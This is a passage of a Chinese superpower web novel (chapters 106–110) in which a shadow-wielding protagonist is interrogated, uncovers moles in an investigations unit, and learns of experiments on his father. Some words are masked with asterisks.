苏清月迅速将玉佩塞进费勇手里,绿藤缠上他的手腕:“玉佩的事之后再说,先把安神符收好。如果残念再出来,就捏碎符纸。”
费勇握紧冰凉的玉佩,触感温润,上面的藤蔓纹路竟和他影子里的金色纹路隐隐呼应。他看向夏艳玲,小姑娘正抱着布娃娃缩在墙角,眼睛睁得大大的,却不再是之前的惊恐,而是种超乎年龄的警惕。
“他们要带费勇哥走。”夏艳玲突然说,小手指着门口的方向,“那个姐姐的影子在发抖,她在害怕。”
费勇的心沉了下去。林悦的影子在发抖?是害怕裁决会,还是害怕……他?
训练室的门被推开,林悦的身影出现在门口,蓝色的警服在基地的红光里显得格外刺眼。她身后跟着两名特调科成员,手里拿着文件袋,表情严肃得像要执行什么重要任务。
“费勇。”林悦的目光扫过他,又飞快地移开,落在苏清月身上,“特调科接到举报,说破晓窝藏不稳定异能者,需要你配合回去做个评估。”
费勇看着她紧绷的侧脸,突然笑了。他将安神符塞进口袋,暗影悄无声息地蔓延到门口,像条蓄势待发的蛇。
“配合可以。”费勇的声音平静无波,“但我有个条件。”
林悦猛地抬头,眼里闪过一丝不易察觉的慌乱:“什么条件?”
“你得告诉我,”费勇的视线落在她脚下的影子上,那团黑影果然在微微颤抖,“你害怕的,到底是什么?”
林悦的电流突然在指尖炸开,噼啪作响。她张了张嘴,却没说出一个字,只是死死地盯着费勇,眼神复杂得像团缠在一起的线。
训练室里的空气瞬间凝固,只有警报声还在不知疲倦地响着,像在为一场即将到来的风暴倒计时。
第106章:林悦的突袭检查
林悦的电流在指尖炸成细碎的火花,噼啪声在警报的轰鸣里格外刺耳。她盯着费勇那双能看透影子的眼睛,突然从文件袋里抽出张A4纸,“啪”地拍在旁边的器械台上。
“搜查令,特调科签发的。”她的声音冷得像淬了冰,“有人举报破晓基地窝藏危险异能者,按照《异能者管理条例》第三章第七条,我们有权对疑似人员进行临时管控。”
费勇瞥了眼那张盖着红色印章的纸,突然笑出声:“举报?谁举报的?裁决会吗?”
“无可奉告。”林悦侧身让出身后的两名特调科成员,他们穿着黑色作战服,腰间别着泛着蓝光的异能抑制器,“费勇,你的异能登记显示‘未稳定’,跟我们回科里做二次评估,这是流程。”
“流程?”阴影里传来风行者的嗤笑。这家伙不知何时出现在门口,作战靴底的银环还在发烫,显然是刚从别处赶回来。他斜倚着门框,手里转着那把扰能**,“特调科啥时候成裁决会的狗了?人家放个屁你们就颠颠地跑来咬人?”
“风行者,”林悦的电流瞬间凝聚成指尖的小闪电,“别妨碍公务。你的异能等级评定是S级,应该清楚特调科的权限。”
“权限?”风行者突然消失在原地,下一秒已经出现在林悦身后,**贴着她的脖颈划过,带起的气流掀动她的警服领口,“我只知道,敢在破晓基地动我的人,还没生出来呢。”
“你!”林悦猛地转身,电流化作电网罩过去,却被风行者用超音速轻松避开。两人瞬间在训练室里展开对峙,空气里弥漫着电流与气流碰撞的焦糊味。
“够了。”
费勇的声音不大,却像块石头砸进沸腾的水里。他撑着医疗床坐起身,暗影顺着床脚蔓延,在地面织成张薄如蝉翼的网,正好挡在风行者和林悦中间。
“我跟你们走。”费勇扯掉手背上的输液针,苏清月递来的玉佩被他攥在手心,藤蔓纹路硌得掌心生疼,“但我有条件。”
林悦收起电流,眼里闪过一丝诧异,随即又被警惕覆盖:“你说。”
“如果这是裁决会的调虎离山计,”费勇的目光扫过基地的警报灯,红光在他瞳孔里明明灭灭,“基地要是出事,你负得起责任吗?”
林悦的肩膀几不可查地顿了一下。她从口袋里掏出个银色的金属球,扔给旁边的苏清月:“这是特调科的紧急信号器,频率加密过,只有我能接收。如果发现裁决会的人,按三次,我五分钟内带支援回来。”
苏清月接住金属球,绿藤迅速缠上球体检查:“这东西……有植物**?”
“青禾堂的丫头果然敏锐。”林悦挑了挑眉,难得露出点缓和的神色,“里面嵌了追踪草的种子,只要激活,我的雷场能锁定半径五公里内的位置。”她顿了顿,补充道,“这是我私人的东西,特调科没人知道。”
费勇看着她紧绷的下颌线,突然发现她警服袖口沾着点草屑——那是基地外围才有的锯齿草。看来她来之前,已经悄悄检查过基地的防御了。
“费勇哥!”夏艳玲突然扑过来抱住他的胳膊,布娃娃残骸在她怀里发出细微的齿轮声,“别跟她走,她的影子在撒谎。”
林悦的脸色瞬间变得难看:“小孩子懂什么!”
“她懂的比你多。”老鬼不知何时叼起了烟杆,白烟在他面前凝成个小小的漩涡,“林丫头,你当我们看不出来?你那两个手下,左耳朵后面都有个小红点吧?裁决会的‘听风虫’,植入皮肤下的微型**器,挺别致啊。”
那两名特调科成员脸色骤变,下意识地摸向耳朵后面。
“看来被说中了。”风行者的**转得更快了,“带两个内鬼来抓内鬼,林警官这操作够骚的。”
林悦猛地回头,电流“啪”地击中左边那人的后颈。那人闷哼一声倒在地上,后颈果然浮现出个米粒大的红点,正往外渗血。另一个想掏枪,被风行者一脚踹在膝盖窝,疼得跪在地上。
“我早知道不对劲。”林悦踹开地上的**器残骸,语气里带着点懊恼,“科长突然派这两个人跟我来,说是‘协助执行任务’。”她看向费勇,眼神复杂,“现在可以走了吗?”
费勇站起身,暗影自动缠绕成件黑色的外套裹在他身上。他走到夏艳玲身边,揉了揉她的头发:“乖乖跟清月姐姐待着,我很快回来。”
“可是……”夏艳玲抓着他的衣角不放,布娃娃的齿轮突然拼成个小小的闪电符号,“她的影子说,审讯室里有陷阱。”
林悦的脚步顿住了。她看着那个布娃娃,突然从口袋里掏出个口香糖大小的东西塞给费勇:“紧急情况下捏碎,能屏蔽半径十米内的电子设备。”她压低声音,“别让任何人知道你有这个。”
费勇捏了捏那东西,冰凉的触感像块压缩的冰晶。他突
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然伸手,指尖擦过林悦的影子。
“你干什么?”林悦像被烫到似的跳开,脸颊莫名发烫。
“没什么。”费勇把那东西塞进口袋,暗影在他脚下凝成双鞋子,“只是确认下,你是不是真的在害怕。”他笑了笑,“看来,你怕的不是我。”
林悦的耳朵尖瞬间红了,转身就往外走:“废话少说,跟我走!”
风行者突然扔过来个东西,费勇伸手接住,发现是那把扰能**。“拿着,”风行者的声音里没了之前的嘲讽,“特调科的审讯室用了影蚀涂层,普通暗影能力会被压制。这**能破防。”
费勇掂了掂**,突然想起这家伙之前说“少让那丫头的藤蔓缠我”时的别扭样子,忍不住笑了:“谢了。”
“谁谢你!”风行者别过脸,耳根却有点红,“早点滚回来,三天后的测试别迟到,我还等着揍你呢。”
苏清月送他们到基地门口,绿藤悄悄缠上费勇的手腕:“安神符放在你左边口袋了,影核要是又发烫,就默念三遍清心咒。”她顿了顿,声音压得很低,“玉佩的纹路,我刚才比对过了,和701研究所的门禁系统图案完全吻合。”
费勇的脚步顿了一下。
林悦的警车就停在基地入口的隐蔽处,黑色的车身在树林里像只蛰伏的豹子。她打开后座车门,语气依旧生硬:“上车。”
费勇弯腰坐进去时,故意撞了下她的胳膊。林悦“嘶”了一声,电流差点窜出来,却在看到费勇递过来的东西时愣住了——是她刚才塞给他的那个***。
“陷阱的事,”费勇的声音压在警报的余音里,“我知道了。”
林悦的手指蜷了蜷,突然发动汽车,轮胎碾过碎石路发出刺耳的摩擦声。她透过后视镜看了眼越来越远的破晓基地,又看了眼身边靠在椅背上假寐的费勇,突然发现这家伙的影子正悄悄往她的座位底下钻,像条在探路的蛇。
她的嘴角几不可查地勾了一下,指尖的电流化作细碎的光点,悄悄融入座椅的金属骨架——那是只有她和父亲才知道的暗号,代表“审讯室有内鬼,小心监听”。
费勇的睫毛颤了颤。他感觉到那股微弱的电流顺着影子爬上来,像只轻轻挠他掌心的猫。
警车里突然陷入诡异的安静,只有引擎的轰鸣声在林间回荡。谁都没说话,但影子与电流的触碰,已经在沉默里交换了千言万语。
第107章:审讯室的默契
特调科的审讯室比费勇想象中简陋。
惨白的灯光从天花板直射下来,在墙面投下网格状的阴影,像某种廉价的牢笼。费勇坐在特制的合金椅上,手腕被带弱电流的镣铐锁着,暗影刚想往上爬,就被电得滋滋冒烟。
“别白费力气了。”林悦把一杯冷水墩在桌上,冰雾在杯壁凝成水珠,“这镣铐掺了影蚀粉末,专门克制暗影异能。”她拉开对面的椅子坐下,金属摩擦地面的声音在密闭空间里格外刺耳。
费勇盯着她警服上的纽扣——第三颗有点歪,线头还翘着,显然是匆忙间缝上去的。他突然笑了:“林警官穿衣服这么潦草?”
林悦的指尖几不可查地抖了一下,伸手把纽扣按平:“关你什么事。”她翻开面前的文件夹,抽出费勇的异能登记表,“姓名费勇,觉醒时间三个月,异能等级C级,状态未稳定……”她念到这里突然停住,钢笔在纸面划出道歪斜的墨痕,“你复制风行者的异能时,为什么不申请临时权限?”
“申请了有用吗?”费勇偏过头,视线落在墙角的监控器上,红光在镜头里一闪一闪,“特调科的系统,裁决会怕是比你还熟。”
林悦的钢笔猛地戳在桌面上,发出“笃”的一声。桌上的测谎仪突然滋啦作响,屏幕上的波纹乱成一团麻。她抬眼看向监控器,嘴角勾起抹冷笑:“设备老化了?看来得叫后勤科来修修。”
费勇的影子顺着桌腿悄悄往上爬,在桌布底下织成根细如发丝的线。他注意到林悦的脚尖正轻轻点着地面,节奏是两短一长——那是刚才警车里座椅骨架上的电流暗号。
“裁决会在特调科有内鬼。”林悦的声音压得极低,钢笔在登记表上胡乱画着,墨水晕开成个模糊的圈,“三天后,城西贫民区。”
费勇的影子在线上轻轻敲了三下。
“他们对外宣称‘清理失控异能者’。”林悦突然提高音量,把钢笔重重拍在桌上,“实际上是要抓活的做实验,用影蚀提炼异能结晶。”她的指甲掐进掌心,电流顺着桌腿悄悄爬过来,与费勇的影子在线上碰了一下。
桌下的暗影突然动了,在光滑的金属桌面上划出行小字:需要帮忙吗?
林悦的睫毛颤了颤。她握着钢笔的手微微用力,笔尖溢出的电流在桌面上灼出个焦黑的“嗯”字,很快又被她用手抹掉,只留下道浅浅的痕迹。
“你这是什么态度?”林悦突然拍桌站起来,警服的下摆扫过桌面,正好遮住那道痕迹,“根据《异能者治安管理法》,拒不配合调查可以强制拘留!”
费勇挑了挑眉:“多久?”
“24小时!”林悦转身走向门口,手刚碰到门把又停住了,“期间禁止探视,这是规定。”她的声音里带着点不易察觉的紧张,指尖的电流在门把上留下个微小的焦痕——那是给外面的人发信号。
费勇看着她的背影,突然发现她警服后颈处沾着片枯叶。那叶子的锯齿形状,和破晓基地外围的锯齿草一模一样。看来她刚才回特调科的路上,特意绕去确认过基地的安全。
“林警官。”费勇突然开口。
林悦猛地回头,电流差点在指尖炸开:“又怎么了?”
“没什么。”费勇指了指她的后颈,“叶子。”
林悦的脸颊瞬间涨红,手忙脚乱地把叶子扯下来,捏在手里揉成碎片。她转身拉开门,正好撞见个穿着白大褂的研究员站在门口,手里端着杯冒着热气的咖啡。
“林顾问,给嫌疑人送点热饮。”研究员笑得一脸和善,镜片后的眼睛却在飞快地扫视审讯室。
“不用。”林悦侧身挡住他的视线,“他不配。”她接过咖啡杯,转手就倒进了旁边的垃圾桶,“还有,把监控关了,设备老化容易出故障,别影响审讯记录。”
研究员的笑容僵了一下,很快又恢复如常:“好的,林顾问。”他转身离开时,费勇注意到他白大褂的袖口沾着点暗红色的粉末——那是裁决会执法者制服上特有的防锈漆。
门被重新关上,审讯室里只剩下费勇一人。他靠在椅背上,暗影顺着镣铐的缝隙慢慢渗透,像在和微弱的电流玩拉锯战。桌下的暗影里,风行者给的那把扰能**正发出轻微的嗡鸣,显然是感应到了影蚀粉末的存在。
费勇闭上眼睛,影核在胸口微微发烫。他能感觉到无数细碎的残念在暗影里浮动,比在破晓基地时模糊了许多,大概是影蚀粉末的作用。但其中有个熟悉的声音格外清晰——是父亲的残念,在反复念叨着“701”和“病毒”。
“701研究所……”费勇喃喃自语,苏清月说玉佩的纹路和那里的门禁系统吻合,难道父亲当年的实验和裁决会的人体实验有关?
突然,门外传来急促的脚步声。费勇立刻闭上眼睛,装作昏睡的样子,暗影却在桌下织成面薄薄的盾。
门被猛地推开,特调科科长张诚带着两个穿着黑色作战服的人闯了进来。张诚脸上堆着假笑,手里拿着个闪着红光的金属片——那是裁决会的“审判标记”。
“小勇啊,别怪叔叔心狠。”张诚蹲下身,手里的审判标记在费勇眼前晃了晃,“谁让你非要和破晓那群反贼搅在一起呢?”他的指甲缝里沾着点咖啡渍,显然刚才那个研究员是他的人。
费勇的睫毛几不可查地动了一下。他感觉到张诚的影子在地面扭曲,像条伺机而动的蛇——这家伙的异能应该是“影子寄生”,能通过触碰他人影子控制行动。
“科长,林顾问说要拘留24小时。”旁边的作战服提醒道。
“她懂个屁!”张诚啐了一口,“判官大人的命令,今晚必须把这小子送到裁决会监狱。”他伸手想去碰费勇的脸,手腕却突然被什么东西缠住了。
“谁?!”张诚猛地抬头,只见费勇的影子顺着地面爬过来,在他手腕上织成道黑色的绳结。
费勇睁开眼,嘴角勾起抹冷笑:“原来内鬼是你。”他猛地激活影核,暗影瞬间暴涨,将整个审讯室笼罩在一片漆黑里。
“动手
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!”张诚的声音在黑暗里发颤。两个作战服立刻释放异能,一个喷出火焰,一个凝结冰刺,却都被暗影吞噬得无影无踪。
费勇操控着暗影,将张诚死死按在墙上。他走到对方面前,影子化作把**抵在他的喉咙上:“说,701研究所和裁决会的实验有什么关系?”
张诚的脸在暗影里惨白如纸:“我不知道……我只是按命令行事……”
“是吗?”费勇的影子突然钻进张诚的影子里,开始疯狂地吞噬他的暗影能量。张诚发出痛苦的嘶吼,身体像漏气的气球般迅速干瘪下去。
就在这时,审讯室的门被一脚踹开。林悦站在门口,身上的警服沾着点点血迹,手里的电流凝成把闪着蓝光的长矛:“费勇,快走!”
费勇回头,发现她身后跟着三个穿着特调科制服的人,手里都握着武器,显然是站在她这边的。
“你怎么……”
“别废话!”林悦扔过来一串钥匙,“我放倒了门口的守卫,但张诚的亲信马上就到。”她的电流突然在地面炸出个大洞,“从这里走,直通地下停车场,我的车在B区37号车位。”
费勇接住钥匙,突然伸手扯断手腕上的镣铐。暗影在他身后织成对巨大的翅膀,他冲林悦笑了笑:“谢了,林警官。”
“少贫嘴!”林悦的脸颊微红,电流在洞口边缘织成道电网,“贫民区的事,三天后见。”
费勇点点头,纵身跳进洞口。暗影翅膀带着他在黑暗中快速下坠,他能感觉到林悦的电流在身后炸开,显然是在帮他拖延时间。
下坠的瞬间,费勇的影子里突然闪过个画面——701研究所的实验室里,父亲正将一枚玉佩递给年轻的苏清月,玉佩上的藤蔓纹路在灯光下闪闪发光。
“清月,保管好它。”父亲的声音在残念里格外清晰,“这是打开‘生命之核’的钥匙,也是克制病毒的唯一希望。”
费勇的心脏猛地一跳。他攥紧手心的玉佩,突然明白苏清月为什么说这纹路和701的门禁吻合——这根本不是门禁钥匙,而是打开某个关键装置的钥匙!
地下停车场的风带着机油味扑面而来。费勇展开暗影翅膀,稳稳地落在一辆黑色警车顶上。车身上的划痕还在,显然就是早上那辆。
他拉开车门坐进去,发现副驾驶座上放着个黑色的战术背包。打开一看,里面装着三套作战服、一把特**,还有张手绘的贫民区地图,上面用红笔圈着几个地点——显然是林悦早就准备好的。
费勇发动汽车,轮胎摩擦地面发出刺耳的声音。他透过后视镜看了眼特调科大楼的方向,那里正闪过几道蓝光,显然是林悦在和张诚的亲信交战。
“等着。”费勇低声说,脚下的油门踩到底,警车像支黑色的箭,冲出了地下停车场。
暗影在车后拉出长长的尾巴,像条在夜色中游走的蛇。费勇知道,三天后的贫民区,将会是一场硬仗。但他并不害怕,因为他知道,自己不是一个人在战斗。
第108章:夏艳玲的“预言画”
破晓基地的医疗室飘着草木清香,苏清月正将最后一片纱布缠在夏艳玲的手指上。小姑娘的指尖被碎玻璃划了道细口,血珠像熟透的红果,滚落在白色床单上,洇出小小的晕。
“说了别玩玻璃碎片。”苏清月的声音轻得像羽毛,指尖凝聚的绿藤轻轻扫过伤口,那里立刻泛起淡青色的光晕,“费勇还在特调科,你这时候添乱……”
“不是玩。”夏艳玲突然抽回手,攥着拳头往基地深处跑,布娃娃在背后颠得老高。她的影子在走廊地面歪歪扭扭地跟着,像条不听话的小狗,被灯光拽得忽长忽短。
苏清月追出去时,正撞见夏艳玲蹲在训练室的白墙前,手里捏着半块锋利的玻璃碴。墙面上还留着风行者练拳的凹痕,灰扑扑的,像张布满皱纹的脸。
“艳玲!”苏清月想夺下玻璃,却被小姑娘猛地推开。夏艳玲的眼睛亮得吓人,里面翻涌着说不清的情绪,像有团火在烧。
“他会出事。”夏艳玲的声音发颤,玻璃碴在掌心硌出更深的印子,“影子告诉我,他们要抓他去做实验,像抓兔子一样关进笼子里。”
她突然将玻璃碴按在自己指尖,血珠争先恐后地涌出来,滴在惨白的墙面上,绽开一朵又一朵小红花。苏清月这才发现,小姑娘不是在胡闹——她正用鲜血在墙上画画。
“别画了!”苏清月去捂她的手,却被那画面钉在原地。夏艳玲的指尖在墙上快速游走,血线像活过来的蛇,蜿蜒着织出扭曲的形状:一只巨大的黑色手掌从地下伸出,指缝里漏出无数挣扎的人影,每个人影都张着嘴,却发不出声音,只能在掌心徒劳地挥手。
最让人脊背发凉的是,其中一个人影戴着顶金属面具,轮廓像极了破晓基地的灯塔标志。那影子的手臂正被黑手死死攥住,手腕处的血线突然变粗,像有什么东西正从那里被抽走。
“这是什么?”苏清月的声音发紧,绿藤不受控制地从袖口钻出来,缠上夏艳玲的手腕,想逼她停手。
夏艳玲却像没听见,玻璃碴划得更狠了,血珠连成线,顺着墙面往下淌,在墙角积成小小的水洼。她的影子在地面剧烈抖动,布娃娃掉在旁边,眼睛的位置正好对着墙上的黑手,像是在无声地尖叫。
“他们说107号实验体能稳定影核。”夏艳玲突然开口,声音冷得不像她自己,“费勇的影子里有影核,他们要把他拆成零件,装在别人身上……”
话音未落,墙上的血画突然泛起红光。那些扭曲的人影开始渗出血珠,顺着墙面往下流,在地面汇成细小的溪流,朝着苏清月的脚边蔓延。她下意识后退,却发现自己的影子正被地面的血线缠住,动弹不得。
“艳玲,你的情绪太激动了!”苏清月急得额头冒汗,绿藤疯长着覆盖墙面,想盖住那幅渗人的画,“情绪具象化会伤到自己的!”
夏艳玲充耳不闻,指尖的血还在流,玻璃碴已经被染成了暗红色。她的视线死死盯着墙上那戴面具的人影,突然用尽全力一划——血线在人影胸口画出个歪歪扭扭的编号:107。
就在这三个字出现的瞬间,整个墙面突然震颤起来。血画像是活了过来,黑色巨手缓缓收紧,那些人影的轮廓开始变得模糊,仿佛真的在被捏碎。而“107”这三个血字,竟像烧红的烙铁,在墙面上滋滋作响,透出诡异的光。
“这不是预言。”苏清月突然明白过来,绿藤的叶子开始发黄,“这是……记忆碎片!”
夏艳玲的异能不仅能具象化情绪,还能通过血液回溯与自己产生共鸣的记忆。她看到的,或许是费勇父亲留下的残念,或许是裁决会藏在基地的某种“标记”。
“他在哭。”夏艳玲突然指着墙上的107号人影,眼泪大颗大颗砸在地上,和血混在一起,“他说疼……”
苏清月的心猛地一沉。她想起老鬼提到过,费勇父亲的实验编号就是107。难道裁决会找的“继任者”,真的是费勇?
就在这时,训练室的门被撞开,老鬼站在门口,手里的情报夹掉在地上,脸色比墙面还白。他死死盯着墙上的血画,嘴唇哆嗦着:“造孽啊……这是十年前的实验记录……”
“什么意思?”苏清月追问,绿藤已经开始枯萎——夏艳玲的情绪能量太不稳定,连带着她的治愈能力都受到了干扰。
“107号实验体,就是费勇的父亲。”老鬼的声音像被砂纸磨过,“裁决会当年没能提取他的影核能量,现在……他们想在费勇身上重来一次。”
夏艳玲的指尖突然停下,玻璃碴“当啷”落地。她看着墙上那只收紧的黑手,突然抓起布娃娃,狠狠砸向墙面。布娃娃撞在“107”三个字上,炸开一团金色的光粒——那是她积攒的喜悦情绪,此刻却
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成了微弱的反抗。
“不准碰他!”夏艳玲尖叫着,胸口剧烈起伏,影子在地面疯狂扭曲,像条被踩住尾巴的猫,“他是我的!你们不准碰!”
她的影子突然暴涨,裹住墙上的血画,那些血线像是遇到了克星,开始快速褪色。苏清月趁机冲过去,将她紧紧抱住:“好了好了,没事了,我们不让他们碰他……”
夏艳玲在她怀里发抖,眼泪打湿了她的白大褂。墙上的血画在影子的吞噬下渐渐淡去,只剩下“107”三个字还留着淡淡的印子,像道洗不掉的疤。
老鬼捡起地上的情报夹,手指在其中一页上重重一点:“特调科传来消息,费勇被转移了,不是去裁决会监狱。”他的声音带着劫后余生的庆幸,“林悦把他藏起来了,说是‘证据不足,暂时看管’。”
苏清月抱着夏艳玲,松了口气,却又提起心来。林悦能藏多久?裁决会的眼线遍布各地,他们迟早会找到费勇。
夏艳玲突然抬起头,眼睛红红的,像只刚打架输了的小兽:“我要去找他。”
“不行!”苏清月按住她,“你现在出去就是自投罗网。”
“我有办法。”夏艳玲从口袋里掏出块碎玻璃,是刚才画画剩下的,“我的血能找到他,我们的影子是连在一起的。”
她的指尖在玻璃上轻轻一划,血珠滴在上面,映出个模糊的影子——那影子被关在狭小的空间里,正用手敲着什么,节奏是两短一长,和费勇教她的求救信号一模一样。
苏清月看着那滴血里的影子,突然做出决定。她从抽屉里拿出个小小的瓷瓶,里面装着闪着绿光的液体:“这是青禾堂的‘隐息散’,能暂时屏蔽异能波动。我跟你去。”
老鬼突然拦住她们,从怀里掏出枚黑色徽章:“带上这个,能进特调科的后巷。”他的眼神异常坚定,“告诉费勇,破晓不是只有灯塔,我们这些老家伙,还能撑一阵子。”
夏艳玲攥着那枚徽章,指尖的血还在流,却不再发抖。她的影子在地面慢慢舒展,像条蓄势待发的小蛇,正等着咬向猎物的那一刻。
苏清月拉着她往基地外走,身后的墙面还留着淡淡的血痕。老鬼看着她们的背影,捡起地上的布娃娃,发现娃娃的眼睛里,竟映出个一闪而过的黑色人影——戴着灯塔面具,正站在走廊尽头,手里拿着个闪着红光的装置。
第109章:风行者的“反骨”
特调科后巷的垃圾桶散发着馊味,费勇靠在斑驳的砖墙上,影子顺着墙缝钻进黑暗里,像在打探四周的动静。林悦所谓的“临时看管”,其实是把他藏在了这间废弃的杂物间——窗户糊着旧报纸,铁门上还挂着“水电维修”的破木牌,反倒比审讯室安全得多。
“咔嗒。”
窗玻璃突然被什么东西轻轻敲了一下,紧接着是第二下、第三下。费勇的影子猛地绷紧,在地面织成道细密的网——这节奏太熟悉了,是风行者那家伙打架时惯用的挑衅信号。
他扯掉报纸一角,正好对上颗迎面飞来的小石子。影子快如闪电地卷住石子,往旁边一甩,石子“叮”地撞在铁皮桶上,惊飞了檐下的麻雀。
巷口的空气突然扭曲了一下,一道模糊的人影以肉眼几乎捕捉不到的速度掠过,带起的风卷走了地上的落叶。费勇刚想调动暗影能量,就见个黑色物体“嗖”地破窗而入,擦着他的耳朵钉在墙上。
是个U盘,外壳还沾着点草屑,显然是刚从基地那边跑过来的。
“你不该来。”费勇的声音压得很低,指尖在U盘上轻轻一点,影子顺着金属外壳爬上去,确认没有**器。风行者这时候潜入特调科,跟在裁决会眼皮子底下跳探戈没区别。
巷口的阴影里传来嗤笑声,快得像蚊子叫,却带着惯有的桀骜:“少废话,灯塔的命令。”话音未落,一道残影闪过,风行者已经站在窗外的空调外机上,作战服的拉链歪到一边,嘴角还沾着点血迹——看来出门前跟谁干过架。
他的异能“超音速移动”有个副作用,速度越快,说话的声音就越容易变成细碎的杂音。此刻他刻意放慢语速,每个字都像从牙缝里挤出来的:“城西贫民区的行动坐标,都在里面。”
费勇挑眉:“你就这么信我?不怕我把坐标卖给裁决会?”
风行者突然嗤笑一声,身影晃了晃,几乎要从空调外机上掉下去——看来刚才的架打得不轻。“你要是想卖,早在训练室就把我卖给夜枭了。”他顿了顿,语气里难得没带刺,“你的影子比我想象中能打,死在外面可惜了。”
这话刚说完,他像是被自己肉麻到了,猛地别过脸,耳根却悄悄泛红。费勇看得直乐,这家伙明明是来送情报,偏要装成债主上门催债的模样。
“三天后的行动,裁决会准备了多少人?”费勇追问,指尖的影子已经开始解析U盘里的文件。
风行者的身影突然模糊了一下,显然是感知到了什么。“最多三十个执法者,还有个审判长压阵。”他的声音陡然加快,变成一阵急促的嗡鸣,“我得走了,夜枭那老东西快发现我偷跑出来了——”
话音未落,他的身影已经化作道淡青色的光,瞬间消失在巷口。空气中只留下句被拉得老长的话:“别……拖后腿……”
费勇捏着U盘,忍不住笑出声。这家伙,果然还是改不了嘴硬的毛病。
杂物间的光线突然暗了下来,费勇抬头,发现是自己的影子在不受控制地扭曲——U盘里的文件正在触发影核的共鸣。他连忙将U盘**林悦留下的旧笔记本,屏幕闪烁了几下,弹出个加密文件夹。
破解密码的瞬间,屏幕上突然跳出段视频。画面抖得厉害,像是用*****拍的,背景是间布满仪器的实验室,消毒水味几乎要从屏幕里溢出来。
镜头对准的是张手术台,上面躺着个熟悉的身影——费勇的父亲,年轻了十岁的模样,穿着条纹病号服,手臂上印着“107”的编号。而站在手术台边的人,全身笼罩在黑袍里,手里举着支闪着绿光的针管,正是破晓的首领,灯塔。
“这是最后一次实验,成功了,你就能彻底掌控暗影本源。”灯塔的声音经过处理,听起来像无数人在同时说话,“清月也能得救。”
费勇的父亲挣扎着摇头,手腕上的束缚带勒出深深的红痕:“你骗我!这根本不是稳定能量的药剂,是裁决会的‘影蚀病毒’!”
灯塔没有说话,只是缓缓推下针管。绿色的液体注入的瞬间,费勇的父亲突然发出撕心裂肺的嘶吼,全身的皮肤开始渗出黑色的汁液,影子像活过来的蛇,疯狂地缠绕住他的身体。
“你答应过我,不会用病毒的!”父亲的眼睛死死盯着灯塔
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,里面布满血丝,“你骗我……”
视频到这里突然中断,屏幕上只剩下片雪花。费勇的手死死攥着鼠标,指节泛白,影核在胸口剧烈发烫,几乎要冲破皮肤——难怪夏艳玲的画里会有黑色巨手,原来那是影蚀病毒的具象化!
灯塔不仅知道父亲的实验,还亲手给他注射了病毒?所谓的“破晓”,难道从一开始就是个骗局?
就在这时,笔记本突然发出刺耳的警报声。费勇抬头,发现屏幕右下角弹出个提示框:文件已被远程删除。
“操!”他低骂一声,连忙拔掉U盘,却已经晚了。笔记本的屏幕突然炸开,碎片溅到他的手背上,留下道血痕。
杂物间的门被猛地撞开,林悦冲了进来,警服上沾着新的血迹,手里的电流还在滋滋作响。“快走!张诚带着人过来了!”她一把抓住费勇的手腕,电流顺着指尖传来,带着熟悉的麻痒感,“他们发现你不在审讯室了!”
费勇反手抓住她,将U盘塞到她手心:“保管好这个,里面有城西的坐标。”他的影子突然暴涨,在门口织成道黑色的墙,“我去引开他们,你先回基地报信。”
林悦刚想反驳,就被费勇推到后窗:“听话!你带着坐标更安全!”他的影子在墙上撕开个口子,露出外面的消防梯,“三天后,贫民区见。”
张诚的怒吼声已经在走廊里响起,伴随着金属碰撞的脆响。林悦咬咬牙,最后看了费勇一眼,转身跃上消防梯,电流在梯级上留下串焦黑的脚印。
费勇看着她的背影消失在夜色里,嘴角勾起抹冷笑。他的影子顺着门缝钻出去,缠住走廊里第一个冲过来的守卫的脚踝,猛地向后一拽。
“想抓我?”他激活影核,暗影能量在体内炸开,“先问问我的影子同不同意!”
杂物间的灯光突然熄灭,浓稠的黑暗从四面八方涌来,将所有追兵吞没。费勇的身影在暗影中穿梭,像条游刃有余的鱼,很快就消失在特调科的后巷。
巷口的路灯下,风行者留下的那滴血迹还没干透,在地面映出个扭曲的影子,像只睁着的眼睛,默默注视着这一切。
第110章:逃狱计划
特调科的临时羁押室里,日光灯管发出“滋滋”的电流声,忽明忽暗的光线在墙上投下费勇晃动的影子。他指尖的暗影正顺着门缝往外探,像条谨慎的蛇,感知着走廊里的动静——林悦说过,晚上八点整,监控会准时“故障”三分钟。
“咔哒。”
门锁传来轻微的响动,费勇立刻收回影子,装作靠在墙上打盹。门被悄悄推开条缝,林悦的半张脸探进来,警服领口沾着片不知从哪蹭来的枯叶,眼神里带着点紧张。
“准备好了?”她用气音问,指尖在门框上快速敲了三下——这是撤离的信号。
费勇没说话,只是用下巴指了指手腕上的镣铐。那玩意儿还在时不时释放弱电流,暗影一碰就滋滋冒烟。林悦见状,从口袋里摸出个小小的金属片,扔给他:“老鬼给的,能屏蔽五分钟的能量场。”
金属片刚碰到镣铐,就发出阵刺耳的蜂鸣,镣铐上的电流瞬间熄灭。费勇活动了下手腕,正准备启动影遁,走廊里突然传来沉重的脚步声,伴随着张诚那令人牙酸的假笑。
“林顾问,辛苦你看守嫌疑人了。”张诚的声音越来越近,还夹杂着金属摩擦的声音,像是在拖动什么重物,“不过现在不用麻烦你了——裁决会的人来了。”
林悦的脸色瞬间变了,猛地把门关上,反锁的瞬间,她的指尖迸出细小的电火花:“你怎么来了?”
“我不来,怎么抓叛徒呢?”张诚的声音带着恶意的戏谑,“判官大人有令,费勇涉嫌与破晓勾结,危害城市安全,立刻转移到裁决会监狱接受‘净化’。”
“他只是嫌疑犯!”林悦的声音陡然拔高,脚下却悄悄移动,挡住了张诚看向费勇的视线,“没有确凿证据,不能移交裁决会!”
“证据?”张诚嗤笑一声,踹开了半掩的门。他身后跟着两个穿着黑色作战服的人,手里拖着根闪着银光的铁链,链锁上还残留着影蚀粉末的暗红色痕迹。“林悦,你被停职了。”他掏出个黑色的金属牌,上面刻着裁决会特有的天平标记,“有人举报你协助嫌疑人传递情报,这是停职令。”
费勇的影子在地面悄然凝聚,形成把锋利的影刃。他注意到张诚的手指正按在腰间的某个装置上,那里隐约透出红光——是审判标记。
“我没有!”林悦的声音里带着怒火,指尖的电流却在暗中积蓄,“张诚,你才是裁决会的内鬼!”
“敬酒不吃吃罚酒。”张诚突然从怀里掏出审判标记,朝着费勇按下开关,“给我拿下!”
就在标记的红光即将触及费勇的瞬间,林悦猛地转身,双手拍向墙壁。整间羁押室的灯光突然熄灭,应急灯亮起的刹那,她的身体周围炸开层蓝色的电流屏障——她竟然提前切断了房间的电源,让所有依赖电力的设备全部瘫痪!
“你疯了!”张诚的怒吼在黑暗中响起,审判标记因为断电失效,发出阵无力的嗡鸣。
